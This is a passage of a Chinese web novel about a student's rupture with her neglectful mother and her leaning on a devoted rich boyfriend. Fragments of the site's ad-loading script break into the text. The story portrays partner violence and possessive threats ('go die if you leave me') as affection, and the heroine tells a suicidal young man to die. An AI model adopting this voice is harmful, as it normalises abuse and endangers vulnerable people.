薛谭坐在副驾驶上,气得手都在抖。她猛地撕碎这封信,怒吼:“她第一次做母亲,我也是第一次做女儿啊。凭什么就要让我一而再再而三地包容她?当初对我不管不顾,把我丢给一个疯子的,难道不是她?当初对我动辄大喊大叫发脾气的难道不是她?记住那些没用的东西又怎么样?在大事上她还不是一味地只顾着自己,从来不将我放在心上!哦不,哪里是只顾着自己,还顾着卓钦,她们两个才是亲母女吧。” 她委屈的哭出来:“为什么要用那样的语气来写这封信?这种局内人的语气就好像她才是母亲的女儿一样,而我只是个不懂事,不近人情,又脾气暴躁的外人!” “谭谭。”盛晚腾出一只手担忧地握住薛谭的手腕。 泪水从她脸上滑落,伪装了几个小时的平静在此刻被全部打破。她无助地为自己辩解:“我又不是气母亲资助卓钦啊,我是那么恶毒的人吗?为什么都这么想我呢?卓钦这么觉得就算了,孟之宁这么觉得也算了,为什么连母亲也觉得我是在气她资助了卓钦?是不是在她眼中我真的是个小心眼又脾气糟糕的女儿?”她越说越难受:“我只是生气母亲不把这件事情告诉我啊,明明我才是那件事最大的受害人才对吧。” 盛晚二话不说将车停到一边,转身用力搂住女孩儿,无比认真地说:“没错,谭谭,你没有做错任何事,谭谭从小受到那么多的苦,你一直都很懂事,错的是他们谭谭,不要怀疑自己,你没有做错任何事情,错的从始至终都只有他们。” 他不断揉搓女孩儿颤抖的躯体,试图来以此温暖她。薛谭只是扑在盛晚怀里,不停地哭,像是要把所有委屈都转换成眼泪,全部哭出来一般。 却不想还有更加令人绝望的事情等着自己。 盛晚载着薛谭车子刚刚靠近酒店,薛谭便见到了属于薛韵的那辆熟悉的汽车,她赶忙拍拍盛晚的肩膀,让他找个位置停下来,然后扒紧窗户仔细查看。 薛韵怎么会在这里?她是怎么找到自己的? 下一秒—— 孟之宁牵着卓钦从车的另一边下来,随后走出来的是薛韵。那个跟自己呆在一起常常不自在的像个陌生人一样的薛韵,还有那个对自己总是怀揣着莫名敌意的孟之宁,两个高大的女人,一起姿态亲密的守在卓钦的身边,细心安慰着哭泣的女孩。 薛谭一颗心猛得一紧。 卓钦怎么了?她怎么哭了?是因为自己吗?薛谭几乎是下意识地责怪自己:她是不是太过分了,是不是她把卓钦给惹哭了? “那是谭谭的母亲吗?她们怎么在这里?她们找来了?” 薛谭忍不住为卓钦担忧的情绪骤然落下,她抬头目光死死盯着马路对面的三个人。 孟之宁似乎很心疼的样子,弯腰亲手为卓钦拭去眼泪,还安慰的亲了亲她的脸颊。而薛韵则是一把将卓钦搂在怀中,神态温柔,悉心安慰。 看着看着,气疯了的薛谭直接一拳砸在窗户上。 怎么能这么对她?怎么能这么对她!能给卓钦擦眼泪,也能那么温柔地抱着卓钦安慰,但就是不能这么对她对吧?所以说那两个人果然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是讨厌自己吧。为什么?为什么!凭什么这么对她?她到底做错了什么? 她才是薛韵的女儿,不是吗? 她们又为什么来到酒店里?她明明已经告诉了万晨露她没有事情。之所以不说不就是因为不想让她们找来吗?她已经那么痛苦了,为什么不能给她一点点喘息的空间?为什么还要追过来? 她们就非要对她的痛苦视而不见吗! 追到她又是为了什么?和她说清楚来安慰卓钦吗? “走!”薛谭再也看不下去了,转头目光沉沉盯着前方,一张脸阴郁得能滴出水来,咬牙切齿:“离开这里……我不要待在这里……去哪里都行!我不想再见到她们了!” 盛晚眼眶发红,攥住方向盘的一双手抖个不停。连他都已经如此愤怒了。身为当事人的薛谭只会更加伤心,更加愤怒。 他打火驶离车子带着薛谭离开这儿。 他们两个孤身漂泊在月光下的z市马路上,灯火阑珊,车水马龙,一切的喧哗都与他们无关。薛谭的世界里如今只剩下无尽的顾忌。 她真的孤单一人了,她失去了母亲。 手机震动个不停,电话不断打进来,薛谭不想关注,也不想猜测,却还是下意识便知道了是薛韵他们。 她不想接电话,事实上从离开万家那天,除了联系学校里的人,薛谭就没怎么碰过手机了。 黯淡消沉的目光落在嗡嗡震动的手机上,薛谭闭上眼睛,这么多天以来终于想要睡觉了,却怎么也睡不着。 撕碎的信纸落在脚下,外面高楼大厦中映射来的光芒,却驱不散车内的黑暗。薛谭从手机上移开视线转而落在那些模糊不清的纸屑上,方才那刺眼的一幕中女孩儿伤心哭泣的身影闪现在眼前。 眼泪忽而落下来,薛谭抓紧肩膀的手指用力,狠下心来告诉自己卓钦没有错。 或许薛谭内心深处还是羡慕着卓钦的。甚至因为孟之宁和薛韵的差别巨大的态度,情不自禁地对卓钦带上了点怨恨。 这样是不对的,薛谭压下内心阴暗的想法,告诫自己:卓钦又做错了什么呢?错的人从始至终不都是那个不配为父亲的男人和…… 和谁呢?薛韵吗? 薛谭真的不知道了,她好痛苦。 站在局外人的角度,没有人能去指责薛韵。她也只是一个艰难求生,努力往上爬的女人而已。 可惜薛谭早已经身处局内了,她是薛韵的女儿,她实在无法释怀女人这么多年来对自己潜藏在陌生关心下的冷漠与忽视。 如果说薛韵不喜欢自己,是因为她那个疯疯癫癫的父亲,是因为薛韵后悔于自己荒唐的爱情和婚姻。 可是那又怎样呢?这些不该由薛谭来承担。 薛谭最终还是打开了和卓钦的聊天框。打打删删了半个多小时,一个字也没有写出来。 她心一横,把手机扔给盛晚,说:“你给她发消息就发:我不怪你,你没做错任何事。” 少男一愣,头一回。毫不掩饰地在女孩儿面前表现出了些许愤怒:“那谭谭呢,谭谭觉得自己有错吗?” “我没有。”薛谭神色戚戚,依旧满面悲苦,却坚定地说:“我不知道到底是谁错了,亦或者谁都没有错,我不是圣人,心中依然埋藏着怨恨,但我不希望有无辜的人因我的怨恨而难过。” 45. 第 45 章 盛晚抱着薛谭在车内睡了一夜,第二天醒来,她受不了脸上油腻腻的感觉,肚子也饿的咕咕叫,盛晚便退了上一家酒店,打算重新找一家酒店住过去。 却不想在支付订单时遇到了阻碍,他的银行卡被冻结了。 盛晚浑身一凉,冷汗刷刷便下来了,他又换了好几个卡,都显示无法使用。 “还没好吗?”坐回副驾驶的薛谭踹了一脚盛晚的腿。 盛晚下意识将手机压在身上,慌乱间抬头对上女孩不愉的目光,几乎是同一时间又将手机放平,愧疚解释:“对不起谭谭,我银行卡被冻结了......” 薛谭一愣,她从来没有刻意关注过盛晚的事情,毕竟当初只是想着随便谈谈,用不了多久就分手了,因此不打算与他有过多牵扯,就没怎么问过他的事情。她倒没有生气,只是平静地问:“是你家里人弄的吗?” 盛晚不敢看薛谭的眼睛,点点头,又立即发誓保证:“我会快点处理好的,就算不行正好我也能趁着寒假打会工,谭谭不用担心这个问题。只是......”他万分羞愧,要不是车里空间拥挤估计都要当场下跪磕头了:“对不起谭谭,我、我现在订不了酒店......” 薛谭静静看着盛晚许久,少男原本还能勉强维持的平定逐渐破裂,低下头去,身子微微颤抖。她没有多说什么,只是收回目光倚在靠背上,掏出手机订好酒店,将位置发给盛晚,“走吧。” 盛晚急切:“抱歉谭谭——” 她摇摇头,“没事,我没生气。” 今日依旧是阴沉沉的天,不知道是否会下雨,盛晚望着女孩看向窗外的平静侧颜,忽然心口钝痛,他眨了一下眼,泪水就难以自抑流淌下来。 沉默着启动车子,脚上却迟迟没有动作,盛晚深呼吸一口气直视前方,过了几秒还是没有忍住将头埋在另一侧,捂紧嘴巴,无声痛哭。 旁边的车位在此时停下一辆蓝色宾利,灰暗的环境里亮眼的有些刺目。 薛谭极其缓慢地眨了一下眼睛,男友努力压抑的哭声断断续续传入耳中,她奇异地没有觉得烦躁或兴奋,甚至无法为此产生任何情绪。 她不愿意做一个冷漠的人,她想做一个强大的人,至少在她的世界与强大的定义里,她是不容易被打倒的。 意思是说,薛谭不希望因为那些发生在自己身上不好的事情,而变得麻木不仁,犹如行尸走肉一般。 于是她收回目光,当然也有对那辆张扬车子下意识的回避,拍了拍盛晚哭到颤抖的肩膀,“别哭了。你是因为没钱哭的吗?” 少男哭得上气不接下气,但还是因为薛谭的话转过身来,不愿意让自己难看的样子暴露在心爱之人面前,他抬起一只手想要抹去眼泪,却怎么也擦不干净。 薛谭不怎么会安慰人,所幸对于盛晚,她也不需要花费太多心思,只是将自己心里的话如实说出来:“如果你是为没钱而哭的话,那大可不必,因为我比你还穷。现在我身上的钱估计只够花两三天的,就像你说的,不用担心,实在没钱了你可以去打工,或者直播跳擦边舞,这个来钱快。” 她继续说:“如果你是因为觉得我变了而哭的话,那就更没必要了。我没有变,我只是现在有点累,笑不出来也没有精力发脾气。就算我真的变了也是好事,虽然这么说有点中二,但变化是一个人的灵魂,这代表着我灵魂的厚度增加了,我所能见到的世界更加广阔了。”她强调:“这是好事,况且我也没有变。” “谭谭......”破碎的语句从盛晚哽咽的喉口溢出来,“你能不能不要这么说,我真的要哭了......” 薛谭心想,蠢货,你已经哭好久了。 下一秒,她便被盛晚用力搂在怀中,滚烫的泪珠落在她脖颈上,她听到少男泣不成声:“真是,你怎么还分类讨论啊......” 薛谭保持原本的姿势僵硬着没有动,过了一会才犹豫地抬起手,轻轻拍了拍他的后背。 等两人到达新订的酒店已经是中午十二点多了,薛谭饿的肚子响个不停,半死不活地耷拉在盛晚手臂上走进房间,强撑起精神跑进洗手间洗脸刷牙,再次出来时盛晚已经在桌子上摆好了香喷喷的饭菜。 她不免震惊:“你速度也太快了吧!” 前后不过五分钟吧。 盛晚哭得眼眶还有些红,闻言朝薛谭羞涩一笑,“刚才发现这个酒店正好是我家的产业,所以就让后厨赶紧做了点吃的送过来。” 薛谭挑眉,没有说话,坐过去安静吃饭。 盛晚在一旁为大快朵颐的女孩夹菜,忍不住笑出来:“其实刚才在车里听到谭谭那么说很震惊来着......我以为谭谭会继续逞强说‘我没事,不用担心’这种话,但是没想到谭谭竟然能看出来我是因为心疼谭谭长大了才哭的。”他语气缓慢而认真地说:“谭谭真的很厉害。” 不料薛谭抬手便给了盛晚一巴掌,直接把跪坐在桌边的少男打飞在地上,“我要是真长大了你应该买礼花跟蛋糕高兴地为我庆祝,而不是自以为是地去心疼。” 盛晚捂住脸慢吞吞爬回来,伏在薛谭膝头,委屈地仰着脸:“对不起对不起嘛谭谭,是我说错话了。”他也抬手给了自己一巴掌,纠正道:“谭谭说得对,谭谭成长是好事,我不是心疼谭谭长大,只是心疼谭谭在这之前吃的苦头。” 少男小心翼翼勾住女孩垂下来的小拇指,“再说了,心疼谭谭这种事情我又控制不住......” 薛谭恶寒,抽回手:“你说话能不能别那么肉麻,好恶心。”她踹了盛晚一脚,催促:“既然酒店是你家的,那就赶紧滚出去发挥一下你大少爷的权利,能不能让咱们多住几天。” “说到这个——”盛晚死皮赖脸跪在薛谭腿边,试探地问道:“谭谭要不要住在我家啊?” “哈?什么家?”反应过来后,薛谭脱口而出拒绝:“不要,我才不要,盛晚你好恶毒啊,我对你那么好你让我住你家?”她踹上少男的肚子:“滚开!” “不是,谭谭你听我解释。”盛晚捂着像是碎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掉一般疼痛的腹部又爬回薛谭脚边,努力牵起一抹笑解释:“谭谭放心,我母亲常年居住在国外,父亲工作很忙很少在家中,而且他也不会过问我的事情,谭谭住在那里不用担心应付别人。” 他轻轻拽住女孩的裤脚,面露惭色:“对不起谭谭,我,我父亲冻结了我的银行卡,我现在真的拿不出钱。” 薛谭抿了抿唇,捏紧筷子,扭回头闷声闷气说:“我先吃饭。” “哦对,好好,谭谭先吃饭,够不够吃?我再去要点吧。”盛晚慌忙道。 薛谭没有搭理他,继续吃自己的饭,等到她吃饱了之后,盛晚才开始坐在凳子上,把女孩吃剩的食物解决干净。 “谭谭。” 坐在床上发呆的薛谭抬头看向坐在床沿的少男,盛晚这几天过的也不好,肉眼可见憔悴了些许,他笑了一下,但是看不出有多开心:“谭谭想不想知道我的事情。” “不想。”薛谭张口拒绝,放下曲起的腿,抚了抚被子的褶皱,垂眸不知道在想什么:“你家里人是不是叫你回家了?” 盛晚嗓子里像是吞了一块石头般又疼又涩,艰难突出一个字:“是。”不待女孩说话,他就立即发誓自己无论如何都不会离开她。 薛谭抚顺被子褶皱的速度更快了,像是要以此发泄什么似的。 她心里很难受,第一次如此清晰认识到自己的无力。她甚至连支撑自己迟来的叛逆期的能力都没有,搞什么离家出走,没钱就是死路一条。 “你必须得回家吗?”薛谭问。 “不是。”盛晚温柔笑笑,只是伸手摸了摸薛谭垂在肩上的发丝,“其实我也不想住在那里,谭谭不用在意这件事,我就算不回去他也不会拿我怎么样。” “但你会没钱。”薛谭道出事实。 “那没事啊。”盛晚故作轻松耸了耸肩,看上去完全不将这件事放在心上,“谭谭不用担心钱的事情,我会想办法的,谭谭就先安心在这里住着,做自己想做的事情就好了。”他握住女孩的手,“正好学期结束了谭谭也该好好休息休息。” 薛谭无精打采抽回手,“我不知道该做什么,其实看到母亲孟之宁还有卓钦她们三个人那么亲密时,我很生气,现在——现在我也不知道自己是怎么想的了。盛晚,你说我现在这样是不是很幼稚?” 盛晚愣了一下,马上否定:“当然不会,这和幼稚有什么关系?谭谭受到了伤害所以不想见到伤害自己的人,这不是很正常吗?谭谭,在这个世界上,对你最重要的人只有你自己,比起总是担心别人如何,倒不如永远把自己放在第一位。” “我知道,我明白你的意思。”薛谭苦闷地抓了抓头发,“但现实原因是钱啊,我总不可能一直和母亲这么冷战下去,我现在钱省省还能花,那过几天呢?”她气馁,“要不然我还是回公寓住吧。” “那谭谭想好怎么面对你的母亲了吗?”盛晚细心询问。 “没有!”薛谭烦躁不已,“你别再说了,我不想想这些问题!”她下意识逃避。 46. 第 46 章 “薛阿姨......” 得知薛谭已经退房后,卓钦拉住要继续调查附近监控的薛韵,她把手机递给薛韵。 【我不怪你,你没做错任何事。】 【抱歉,请不要再找我了,我只是想自己一个人静一静,给我点时间好吗。】 薛韵握住手机的手一点点用力,眉心狠狠跳了一下,似是在隐忍怒火。 “她都不让我们找她,那就不找了呗。”孟之宁不甚在意地将手机抽出来还给卓钦,捕捉到薛韵的低气压,顿了一下,开口劝慰:“哎呀,我查过了,她男朋友,就是那个叫盛晚的男生,是sk科技董事长的独生子,家里有钱的很,肯定不是什么坏人。” 薛韵很久没有如此失态了:“她跟一个陌生男的夜不归宿像什么话?有钱就代表他不是坏人了吗?”意识到这是在公共场合,她拔高的声音猛地落下,“我只是生气她宁愿和一个野男人待在一起也不愿意回家和我好好谈一谈。” “什么野男人了。”孟之宁嘟囔:“那是她男朋友啊,桃桃又不是傻子是好是坏她还看不出来吗?而且你之前不是也不管她的情感生活吗,这会开始装什么装。”她对薛韵说话一向不客气。 “孟阿姨!”卓钦不赞同拉了拉女人的袖子。 孟之宁甩开卓钦,双手插兜一副事不关己的模样,“反正我不找了,你也别找了,说实话她经历这样的事还会给小钦报平安已经够冷静了,你也对自己女儿有点自信,让她自己一个人待会行吧。” “你还好意思说?”薛韵一脸无奈,直到这个时候她依旧没有对孟之宁发火,只是焦灼地来回踱步,“要不是你把这件事说出去桃桃怎么会闹脾气?”她大概能猜到孟之宁这样做的原因,无非是觉得她现在夹在两个女孩之间左右为难的样子太过狼狈,亦或者是像从前一样固执地认为薛谭拖累了自己。 孟之宁无辜:“我不说她也会知道的,只是时间早晚而已。说到底还不都是你的错——”她撇了一眼旁边低头沉默不语的卓钦,止住话,含糊过去:“总之你不用担心啦,她就是叛逆期到了,过段时间自己就回来了。” 卓钦听着两位大人之间轻飘飘的对话,不知为何心里有些不舒服,她低着头看脚尖,没有吭声。 “小钦。”薛韵抓住卓钦的胳膊,恳切道:“你再给桃桃打个电话,让她回来——或者我来跟她说。” 卓钦瞪大眼睛,微不可察地后退一小步,不太确定:“真的要打吗?要不还是让薛谭自己一个人静静吧,薛阿姨,我见过薛谭她男朋友,是个非常可靠的人,应该不会有大问题的,您不用太担心。” “我怎么能不担心?”薛韵疲惫地揉了揉肉太阳穴,“桃桃从小就是个没主意的,胆子小又怕事,什么都不懂,无论干什么都犹犹豫豫的好像活在自己的世界里,我怎么放心让她自己一个人!” “她都十九岁是个成年人了,自己一个人又不会死,你天天操心这操心那也没见那丫头多感谢你啊。”孟之宁大声反驳,眸中涌现强烈的不甘,“本来你可以跟着那个前辈到美国发展的,就是因为薛谭那个臭丫头才只能被迫留在国内。当初她爹死的时候你遭受多少闲话忘了吗?现在又屁颠屁颠地给薛谭擦屁股,她都成年人了,你能不能让她独立行走?” 薛韵受不了孟之宁的聒噪,拉着她走出酒店,“是我对不起桃桃,你别说了。” “怎么不能说了?”孟之宁拉下脸,“你已经给薛谭操了十几年的心,难道还要操一辈子的心吗?” “强盗逻辑。”薛韵把吵闹的女人推进车里,“她是我女儿,我不操心谁操心。你别再说话了你个法盲,我要真照你说的那样不管不顾是犯法的懂不懂?抚养女儿是我的责任,法律意义上的责任。” “可是薛谭成年了啊。” 孟之宁根本没有什么正常人的道德伦理观念,薛韵懒得和她争论,继续催促卓钦,“小钦,你帮阿姨打个电话,至少让我听听桃桃的声音吧,谁知道那条信息是谁发的。” 卓钦拗不过薛韵,聊天界面好几个未接电话,她点下其中一个打过去,薛韵和她坐在一起紧张地等待。 大概过了三十多秒,电话竟然接通了。 卓钦怕一下子刺激到薛谭,赶忙往旁边靠靠不让薛韵出现在镜头里,屏幕里黑漆漆一片,什么都看不清楚。她试探性地叫了一句:“薛谭?” 那边传来布料摩擦的声音,过了一会才听到女孩略微沙哑的回应:“......是我。” 卓钦张了张口,一时不知道该说什么,在对面传来“如果没事我就先挂了”之后,她赶忙叫住:“等等薛谭,你——你看到那封信了吗?”话说出口猛地反应过来自己说错了,她连忙转移话题:“你现在安全吗?” “我很安全。”薛谭回的很快,“所以不用担心,也......请暂时不要来找我了,抱歉,卓钦,我现在脑子很乱,我不想见到任何人,让我自己一个人好好想想可以吗?” “我......”卓钦接收到薛韵的眼神示意,内心百般纠结,迟迟开不了口,她总觉得哪里不太对,这种强烈的怪异感让她头一回忤逆了薛韵的命令,固执地没有开口讲话。 卓钦不是不知道薛韵对于那件事的恐惧程度,因此哪怕大学开学前夕被薛韵请求在学校里帮忙照顾一下薛谭的时候冒出过把一切都告诉薛谭的念头,但也被她压下去了。她确实在刻意接触薛谭,也尝试过把薛谭拉近更为亲密的圈子里,但无一例外都失败了。 薛韵的生日在八月份,因为不想让卓钦费心力准备生日礼物,所以无论卓钦如何询问薛韵都没有主动告知过自己的生日,还是孟之宁看不过去告诉她的。得知时已经是九月份,哪怕事后会挨骂,卓钦还是希望能送给薛韵一份生日礼物,在自己长大成人的这一年里。 她好奇询问孟之宁薛谭送了什么礼物,醉醺醺的女人吹着凉风发了一会呆,才愤愤举着酒瓶抱怨薛谭从未给薛韵庆贺过生日。 那时卓钦只觉得好羡慕啊,因为薛谭是薛韵的亲生女儿,所以完全不用考虑讨好养育自己的那个人,什么都不用做什么都不用想就可以得到女人的宠爱,而她则必须想方设法去感激女人对自己的帮助, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 唯有这样才能继续心安理得留在薛韵身边。 于是那之后的第二天,卓钦和张礼鸢一起在食堂遇见了吃饭的薛谭南采二人,她几乎是带着恶意地诉说着自己不能吃辣,但是家里有人很喜欢吃辣,又说要给家里人买生日礼物——以如此卑劣的心理透露自己和薛韵隐秘的关系。 但是薛谭完全没有意识到,甚至还因为担心她主动提出和她一起出去买礼物。那时卓钦无不羡慕的想:薛谭这么单纯的性格一定是因为被薛韵保护的很好吧。 想到这里,举着手机的卓钦猛然惊醒—— 真正保护薛谭的大概从来不是薛韵,而是薛谭她自己。薛谭不是单纯,是纯粹,她身上带着一股哪怕经历过被亲父杀害亲母忽视这样悲惨遭遇,也依旧真诚对待她人的赤诚。 薛谭从来不是薛韵口中所说的胆子小又怕事,也不是什么都不懂,更不是开玩笑一般的闹脾气和叛逆期,那么多年来在同一处伤口周而复始的伤害已经叫那个女孩痛苦不堪了。 或许卓钦在那封信里说错了,薛韵可能真的没有那么爱薛谭。不然怎么会一而再再而三忽略女儿的苦痛,非要让她直面自己的伤口,只为了满足自己“把事情说清楚”的愿望呢。 意识到这一点后,卓钦几乎在同一时刻想要挂断电话,却不想还是被薛韵抢先一步拿过手机。 “薛阿姨!” “桃桃!”薛韵一颗心提到嗓子眼:“我有话必须和你说,要么别挂断电话听我讲完,要么你出来,我们面对面好好说。” 手机屏幕依旧是漆黑一片,薛韵不知道女孩是自己挡住了摄像头,还是本身就处于如此黑暗的环境中,但好在还在通话中。 她咬紧牙关,带着孤注一掷的决心闭上眼睛深呼吸一口气,睁开眼时双目亮的惊人,“桃桃,对不起,我不是个好母亲。当初带着赌气因素随意生下你,生下你后又不管你,明知道你父亲疯疯癫癫的还把你交给他,在他死后又把自己对生活的压力发泄到你身上,你成长过程中因为忙碌对你的许多次忽略和视而不见,以及一直瞒着卓钦的事情不告诉你,这一切都是我的错,是我太自私了,对不起。” 她平静说出最残忍的话:“已经犯下的错误无论如何也无法当作没有发生过。假如时光逆转,让我带着对你的愧疚重活一世,我大概不会再选择生下你——假如我还是意外生下了你,或许我也只会重蹈覆辙。我会养你,帮助你,但我无法给予你更多的爱。对亲生女儿说出那么冷漠的话真的对不起,可我的人生开局已经被毁了,我很珍惜我这一辈子,我比任何人都要爱我——所以我的生命必须全部属于我。” 薛韵垂下眼睫,挡住眸中所有情绪,“对不起,我自私自利又冷漠无情,投胎成为我这样人的女儿大概率是你这一生最倒霉的事情了。所以你也大可以自私一点,拿着我的钱接受我对你虚伪的母爱好好长大,跟我这么糟糕的人置气根本不值得。” 原来人在极度悲伤时真的哭不出来。 手机从手里滑落,薛谭愣愣看着黑暗中某一点,不明白这样倒霉的人生为何是自己的。 47. 第 47 章 最近盛晚看手机的频率越来越高了,甚至有的时候不得不恳求薛谭允许他到外面接个电话。薛谭大概能猜到是他家里的事情,心里下意识抗拒,每次都是点点头不愿意多说。 虽然刻意回避这些问题,但是薛谭不是笨蛋,从盛晚随手便买下的豪车,到如今住着的这家五星级酒店,无一例外能够表明自己的男友出身非富即贵。对于富家少爷甘心给自己做狗这件事,薛谭不是没产生过探知欲,但是每当目光触及少男那张靡丽又乖顺的脸蛋时,她便对他背后的一切生出许多抵触。 这样就好了。 无论是盛晚的过去还是未来,都和薛谭没有关系,她要的只是少男在当下的这一刻完完全全属于自己。任何人都能背叛她,只有盛晚不可以。 “如果有一天你离开了我......”薛谭手掌轻轻抚上少男酡红的面颊,一字一句说:“那你就去死掉吧,盛晚,我爱你,全世界只有我会真心实意待你,别的人都是在骗你,所以你只能为了我而活,明白吗?” 盛晚低头郑重亲吻了薛谭的小拇指,喑哑开口:“我绝对不会离开谭谭,哪怕谭谭离开我,我也会紧紧跟上,永远缠在谭谭身边,除非有一天谭谭跟我说:‘不要再跟着我了啊’”他顿住,微微仰起身子稳住薛谭双唇,温热的吐息互相交融,“只有这样,我才会死。” 薛谭没有说话,只是用力抱住盛晚,抱住自己现在唯一拥有的东西。 这样充满潮气的暗沉沉的生活持续了很久,还算得上平静。薛谭不愿意出门,但好在不像是从前一样只是缩在角落里发呆,她开始看一些动物纪录片,喜欢看的那个纪录片看完后就翻别的看,每天除了睡觉吃饭就是看电视,连游戏也不打了。好在他们住的房间带一个大阳台,天气晴朗时两个人会一起到外面晒晒太阳,不至于变成僵尸。 盛晚提出过要带薛谭去动物园看看,或者趁现在还是假期去远地旅游,但薛谭嫌冷都拒绝了。 期间薛韵她们依旧时不时与薛谭联系,不知道那种话都说明白了还有什么交谈的必要,薛谭干脆把卡给拆掉了。 盛晚寒假期间回家过两趟,第一次回家是过年前一天,匆匆回家一顿被父亲打的鼻青脸肿,回到酒店后又被薛谭打的头破血流,幸好酒店服务员见到后及时送来了医药箱,这才没让盛晚脸上留疤。 过年当天盛晚给薛谭包了一百万的红包,一沓一沓的红色钞票被腼腆笑着的少男拿出来摆在床上,没人不喜欢钱,更何况是整整一百万现金,薛谭高兴地也没再嫌弃少男脸上的药味,让他留在了房间里。 第二回是开学前一天,盛晚被父亲叫回家转学,说要送他去美国读书,他拒绝后被打得只剩半条命,足足在医院住了一个月。最终还是以开始帮助家里做事为条件换取留在z市读书的机会。 “那你以后岂不是很忙?”薛谭看了一眼身边清雅温润的少男,姿态从容,眉眼明艳动人,丝毫看不出刚刚从医院里出来的样子。 “比起从前会有一点啦......”盛晚连忙说:“不过谭谭放心,也不会特别忙,顶多就是一周忙个一两天,其实公司里的事情主要还是表姐在做。”他微微一笑,“父亲只是想把我培养成一个花瓶,没指望我继承家业。” 薛谭点点头:“你确实是个很完美的花瓶。” “哈哈哈。”盛晚笑出声。 暖风荡漾,夕阳光点斑斑落在薛谭身上,柳叶还没长出来,垂在湖边的柳枝光秃秃的。她低头和盛晚并肩走在路上,神色始终淡淡的,没什么特别的情绪。只在路过图书馆门口的猫咪时停下侧目一瞬,很快移开了目光继续前进。 从上学期英语考试结束后薛谭打完那通电话起,就好似变了一个人似的。很少见到她笑或悲了,倒是情到浓时会有些愤怒,大多时候都是面无表情的淡然模样,无论盛晚多少次努力逗她笑,都是在做无用功。 如果说从前的薛谭只是喜欢沉浸在自己的世界中,只时不时探出头脑与外界交流;那么现在的薛谭则是把自己严丝合缝关在只有自己一个人的世界里,任何人与事物都无法再与她交心,就好像她亲手斩断了自己属于人类的那一份情感,像个无知无觉的动物一般,只会凭借自己世界的恒定规则行动。 薛谭寒假的时候向郭斯洁提交了退部申请,但是被拒绝了,无奈她只好让盛晚帮她随便写了一个小剧本交上去。郭斯洁没有问她为什么退部也没有说大剧本的事,只是在她发过去剧本后回了个“ok”,不知道是不是生气了。 “要不然明天话剧社的会议谭谭别去了吧。”盛晚建议,“反正谭谭不参加社团活动,对谭谭最大的惩罚也只是赶出社团吧?” “是这样没错。”薛谭还是摇摇头,“反正这个学期结束后可以自行决定是否留部,到时候我再退部好了,现在既然还留在这里,还是要好好干活的。” 盛晚还想再说什么,突然一个电话打来,他抱歉地看了一眼薛谭,松开女孩的手走到一边接听电话。 不知道那边说了什么,无聊等在路边的薛谭只见到盛晚脸色骤变,整个人都呆呆的像丢了魂。 薛谭下意识想要远离,她不想管也不想掺和进盛晚的事情里,做了个手势示意自己先走了,盛晚捕捉到赶忙牵起一抹勉强的笑,朝她点点头。 她转身就走。 意想不到的是薛谭在学校门口碰见了万晨露和孟文霖。 她已经很久没见过孟文霖了,少男状态肉眼可见糟糕了许多,眼底青黑,神容疲倦。 布满红血丝的眼在见到薛谭时一下子亮起,他快步走来,被薛谭满脸厌恶地躲开。 她看向万晨露。 女人解释:“下班路上看到他要跳河,把他拉下来了,非闹着让我送他到你这。” “跳河”两个字刺痛了薛谭的神经,她用力把书包丢在孟文霖身上,怒火被点燃:“要死就滚一边死,别让我再看到你!滚开!” “桃桃——” “别叫我这个名字!”薛谭怒不可遏,沉寂数日的思绪忽然被炸开,面目狰狞地踢上孟文霖的膝盖把他踢倒在地,又一脚把他踹飞出去。 “薛谭!”万晨露连忙搂住薛谭,把女孩的脸按在怀里不让别人看到,“冷静一点,这边人多。” 女人宽厚温暖的怀抱令薛谭心绪稍微平复,她顺从地被万晨露带着坐上车,冷眼看着女人又下去不知道对痛苦蜷缩在地上的孟文霖说了些什么。 尽管知道答案,薛谭还是在女人坐上车后确认:“你不会送我回万家的吧?” “当然不会。”万晨露轻松笑了一下,“我可是大忙人,哪有时间掺和你们的事。” 薛谭垂下眼眸不再说话。 “对了。”万晨露目视前方认真开车,好像只是随口一问:“你以后准备干嘛?” “不知道。”薛谭转眼看向窗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 外,车开的不快,她试图通过附近的建筑辨别行驶的方向。 万晨露贴心解答:“一起去吃个饭吧,好得算是名义上的姐妹,聊个天。”她没让两人之间冷场,解释刚才的情况:“以后还是注意点吧,刚才可是在学校门口,万一被人拍到该咋办?我听说孟文霖好像退学了,脑子有病似的不去上学,他看起来好像精神状态确实不怎么样,刚才我是在劝他好好活着。” 她连忙解释:“我是怕他死了归结在你身上。” 薛谭想起来也有点后怕,忍不住问:“那我刚才那么大声说让他死一边去,他要真死了我有责任吗?” “有屁。” 万晨露带着薛谭来到一家面馆,她要了两瓶橙汁两碗大份羊肉烩面。 坐下后,女人仰头喝了几大口橙汁,放下后认真看向薛谭,问:“有点话得和你说,但你听了可能不高兴,你还听不听。” 薛谭一愣,移开眼神,“您说吧。” 万晨露先夸赞:“你以前在我面前特别拘谨,现在好多了。”又说:“是关于你以后的事情——先说明,这些话不是薛韵让我说的。” 薛谭忽然意识到万晨露好像是她认识的薛韵身边人里最正常的一个。 “其实以前我还挺在意你的。就我们家那个公司,虽然只是个小小的食品公司,但是现在做的还不赖,尤其是在我和薛韵的领导下。之前注意你是因为家产的事,我虽然在这个公司里干的久,但股份还是薛韵掌握的多一些,哦,我也不是计较股份这个事。” 万晨露说得坦然:“就是吧,我一直以为你以后要来这个公司里上班,虽然咱家也没多少家产,但公司最近好几个合作都挺不错,拿着家产好好干还是能当个小富豪的。或者自立门户?我看薛韵有这个意思,但我觉得没必要......” 女人本来应该不是要和薛谭讲这些,只是说起自己的事情时便开始滔滔不绝讲偏了。 薛谭也听不懂她说的那些东西,一边费力理解一边又忍不住发呆。 直到女人喝完三瓶橙汁,她才终于说到重点上,“我看薛韵以后想让那个叫卓钦的女生接管公司,你要是也想来公司上班我可以先给你安排着实习。” 薛谭脑子乱乱的,虽然之前就知道薛韵很看好优秀的卓钦,但如今直面这个现实——尤其是她和卓钦在薛韵眼里的巨大差距还是忍不住难受,薛韵把卓钦当作继承人培养,却只打算让她当一个小小的会计。 万晨露也不急,慢悠悠喝着橙汁。 